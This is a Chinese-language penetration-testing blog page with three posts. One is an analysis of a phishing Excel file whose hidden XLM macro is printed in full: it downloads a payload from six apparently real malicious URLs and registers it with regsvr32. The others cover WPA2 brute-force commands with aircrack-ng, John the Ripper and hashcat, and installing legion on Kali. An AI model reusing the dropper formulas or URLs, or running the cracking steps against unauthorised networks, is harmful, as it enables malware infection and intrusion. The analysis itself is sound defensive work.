2022年5月15日 星期日

社交工程事件調查

參與滲透測試小組好幾年了,第一次遇到真正的社交工程攻擊。

前天(2022/05/13)甫上班,同事就來電說他被釣魚了,叫我幫忙分析郵件裡的載荷。這位同事很機警,並沒有打開郵件,而是直接將它存成 .msgoutlook格式的郵件檔),我用Outlook的純文字模式開啟此封郵件,裡頭有一支Excel檔(.xls)。一下載此xls就被防載軟體砍掉,覺得有必要看看它有什麼機關?

EXCEL開啟此xls時,會出現停用巨集的安全性警告(圖1),表示裡頭有巨集,下意識就切到VBScript編輯環境,但沒有發現任何巨集、也沒有要求輸入保護密碼,心中疑惑重重!想起林易澍老師教過「OfficeMalScanner」可以分離出被保護的巨集,但執行結果是「No VB-Marco code found!」(圖2)。

圖1:出現安全性警告

圖2:OfficeMalScanner找不到巨集

再端詳此xls,發現只有一張試算表,上面就只有一張圖片,原本以為是想利用圖片騙人點擊,但查看圖片的屬性,也沒發現和巨集有關聯。無意中發現工作列左方的「名稱框」有蹊蹺(圖3),不管選哪一個名稱都不會跳到名稱所代表的儲存格,也就是說「有東西被隱藏起來」,再回到VBScript編輯環境,真的發現有張工作表,但試算表環境只能看到張(圖4)。

圖3:名稱卻找不到對應的儲存格

圖4:在VBScript編輯環境可看到被隱藏的工作表

回到試算表環境,在下方頁籤點擊滑鼠右鍵,一一將隱藏的工作表還原,真的有五張工作表吔!可是~~可是~~,在VBScript編輯環境只看到四張表,哦!少了一張,那一張應該就是關鍵了!上網搜尋,的確有人提到去除VBScript編輯環境裡的sheet之方法(但沒有說如何復原)。

復原的Vv1Vv2Vv3這三張工作表只是一些參考文字,重點在FRHJDJDI這張工作表上,這張也是在VBScript編輯環境被去除的工作表。

FRHJDJDI只在F10這一格有公式,它是利用Vv1Vv2Vv3三張表的內容兜成公式文字,再利用FORMULA()去執行,但FORMULA()並非Excel的內建公式,亦即它是攻擊者製作的巨集(VBScript),經分析,FRHJDJDIF10儲存格是要執行下列動作:

=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/","..\wurod.ocx",0,0)
=IF(HRHRE1<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ingonherbal.com/application/PhEbceg4Tx/","..\wurod.ocx",0,0))
=IF(HRHRE2<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ftp.colibriconstruction.net/cc/KHieqeOsagkmlGIuXc56/","..\wurod.ocx",0,0))
=IF(HRHRE3<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://commune-ariana.tn/sites/3BvaCmo/","..\wurod.ocx",0,0))
=IF(HRHRE4<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dmaicinnovations.com/Swift-5.0.2/jEtePB/","..\wurod.ocx",0,0))
=IF(HRHRE5<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://drcreative.cz/images/DwThyQntyImCHk0tpba/","..\wurod.ocx",0,0))
=IF(HRHRE6<0, CLOSE(0),)
=EXEC("C:\Windows\System32\regsvr32.exe ..\wurod.ocx")
=RETURN()

原來此xls是利用開啟活頁簿時,Excel自動計算公式的機制來執行惡意行為。從解析出來的公式,它會嘗試從六個來源下載木馬程式,只要有一個成功,就註冊成Active元件,至於這支惡意程式的功能還需等待逆向工程分析。另一個未解的問題是被去除工作表,有沒有方法可以將它回復?


後記:

感謝林易澍老師指導,原來這份檔案是使用Excel 4.0的巨集指令 (稱為xlm),自Excel 95起已棄用Excel 4.0的巨集指令,而已用VBA,但現行的Excel版本仍具備執行xlm能力。難怪找不出這份文件裡的vba程式碼,原來是我功力不足,找錯方向!

2021年9月12日 星期日

hashcat到底怎麼了?不認得cap2hccapx轉出的檔案

玩暴力破解的人,對John the Ripper(簡稱JtR)和Hashcat應該不陌生,這幾天趁空想比較JtR、Hashcat及Aircrack-ng破解WPA2的操作方法,論效能,大家潛意識會選Hashcat吧!所以這篇不是比較效能,而是比較不同的操作方法。

三種方法的前置作業都是先擷取封包,就是利用airodump-ng抓取目標AP的封包。當收集足夠理想的封包後,接下來的作法就略有不同。本例採用「暴力破解」,假設密碼是8位的數字(密碼愈長愈複雜,破解時間愈長)。

利用aircrack-ng破解

aircrack-ng可以直接處理擷取到的*.cap檔,但本身無暴力產生密碼功能,需要借助用john的mask模式,指令如下:(aircrack-ng的-w -參數表示從STDIN讀入字典)

john --mask=?d?d?d?d?d?d?d?d --stdout | aircrack-ng -a 2 -b 1C:AB:C0:DD:xx:xx abc-01.cap -w -

利用Johnt the Ripper破解

要使用JtR破解WPA2,必須先利用wpapcap2john將*.cap轉成JtR認得的格式:

wpapcap2john abc-0*.cap >  ap.john
john --mask=?d?d?d?d?d?d?d?d --format=wpapsk ap.john

利用Hashcat破解

要使用Hashcat破解WPA2,必須先利用cap2hccpax或aircrack-ng將*.cap轉成hccapx格式:

aircrack-ng -j ap.hccapx abc-01.cap
cap2hccapx abc-01.cap ap.hccapx
hashcat -a 3 -m 22000 ap.hccapx ?d?d?d?d?d?d?d?d

不同版本的hccapx

Kali裡的hashcat 6.1.1版可以正常破解cap2hccpax轉出的檔案,但Windows 10裡的6.2.4卻出現下列錯誤:

https://hashcat.net/cap2hashcat/線上轉檔的結果,hashcat 6.2.4版則可正常處理。

1. 將.cap檔上傳到https://hashcat.net/cap2hashcat/
2. 下載轉檔後的結果
經比較發現,cap2hccpax或aircrack-ng轉檔的結果是二進制檔,而線上轉檔的結果是文字檔,所以,想用Windows的hashcat破解WPA2,可以將*.cap檔上傳到https://hashcat.net/cap2hashcat/轉檔。

2021年9月8日 星期三

Kali的sparta整合工具不見了,請改用legion

sparta是一款圖形化的整合型掃描與枚舉平台,本身並沒有掃描功能,但它將nmap、Nikto、hydra、nbtscan等多種工具整合在一起,我們只要提供待測目標的網址清單,sparta就會利用nmap掃描,再依照掃描結果調用其他工具做後續處理,可替滲透測試人節省掉很多時間。 

sparta

由於sparta的開發者已不在維護,而它的執行環境是python 2.6,也是已過時的版本,故Kali自2019.4版之後就移除sparta了,對於習慣使用sparta從事滲透測試者,或許可以改用legionlegion的操作介面幾乎和sparta一樣。不過,Kali並未事先安裝legion,需要自己動手:

apt-get install legion
legion執行畫面

安裝後,可參考「自定Kali應用程式選單(Applications Menu) 的項目(成員)」這篇的作法,將legion加到Kali應用程式選單中,底下就是筆者的legion.desktop內容,加入選單後,就可分別從「01-信息收集─>情報分析」及「05-密碼攻擊─>在線攻擊」兩處找到legion:

[Desktop Entry]
Name=legion(Sparta)
Encoding=UTF-8
Exec=legion
Icon=kali-menu
StartupNotify=false
Terminal=true
Type=Application
Categories=01-07-osint-analysis;05-01-online-attacks;
X-Kali-Package=legion